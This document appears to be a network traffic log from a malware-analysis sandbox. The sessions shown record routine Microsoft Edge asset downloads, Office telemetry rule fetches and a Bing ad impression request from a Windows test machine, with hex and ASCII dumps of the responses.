2024-11-23 20:59:48 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49899	13.107.246.40	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:48 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 20:59:48 UTC	516	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:48 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 32bf6d64-901e-000f-17ea-3d85f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T205948Z-15b8b599d88phfhnhC1TEBr51n00000003n0000000006r9q Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 20:59:48 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:48 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205948Z-178bfbc474btvfdfhC1NYCa2en0000000550000000002b13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:49 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:49 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:49 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205949Z-178bfbc474bpscmfhC1NYCfc2c00000003k000000000c8xw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:59:49 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:49 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 80be2a3e-601e-003d-77f5-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205949Z-178bfbc474bvjk8shC1NYC83ns00000004rg00000000nszy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:49 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205949Z-178bfbc474bbcwv4hC1NYCypys00000004t000000000evtr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:49 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:49 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205949Z-174c587ffdf9xbcchC1TEBxkz400000003bg000000007d3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:49 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:50 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:50 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: df4f394c-601e-0002-2a39-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205950Z-178bfbc474bfw4gbhC1NYCunf400000004z000000000dgkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:51 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:51 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:51 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: ccd0b474-201e-0096-421e-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205951Z-178bfbc474bmqmgjhC1NYCy16c00000005600000000003hc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:51 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:51 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:51 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205951Z-174c587ffdfx984chC1TEB676g00000003d000000000fwx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:51 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49911	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:51 UTC	966	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8Cs1T6sB4CM3N7ro7a4YSjTVUCUwAE3yIr5EwL4pZoc95M-hLzoKfCQ6nuVaqTrI87WOj4_oO-5wLn4nZiQDsUYiV31Tr96iPnGs1PP8JyhzQpZgsAH4q7F9AaNEpvJkvLWJWyELr5WAZuZGNtIQvZh2fkvacsXrhfKIp3HirfGuC6FgC%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZmNvcGlsb3QubWljcm9zb2Z0LmNvbSUyZiUzZnElM2R3aGF0JTJiY2FuJTJiY29waWxvdCUyYmRvJTJiYW5kJTJid2h5JTJiaXMlMmJpdCUyYmJldHRlciUyYnRoYW4lMmJ0cmFkaXRpb25hbCUyYnNlYXJjaCUyNmZvcm0lM2RNNTAwRVElMjZPQ0lEJTNkTTUwMEVR%26rlid%3D2f5e98edffb41fcd8fbcffafbd96dbc9&TIME=20241123T205943Z&CID=531174684&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=00B1613A3AD96430138B747A3BC06580; _EDGE_S=SID=24538D701EE86C0F132498301FF06D1D; MR=0
2024-11-23 20:59:52 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=5H5ZLVk2hjLG0i4S0LlqYYZY2GMay_8w8HOkjDgyQHk; domain=.bing.com; expires=Thu, 18-Dec-2025 20:59:51 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: D2BF8523CE7548EA975208B6C68F86BF Ref B: EWR30EDGE0106 Ref C: 2024-11-23T20:59:52Z Date: Sat, 23 Nov 2024 20:59:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:51 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:52 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205952Z-174c587ffdfmrvb9hC1TEBtn3800000003eg00000000dzc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:52 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:51 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
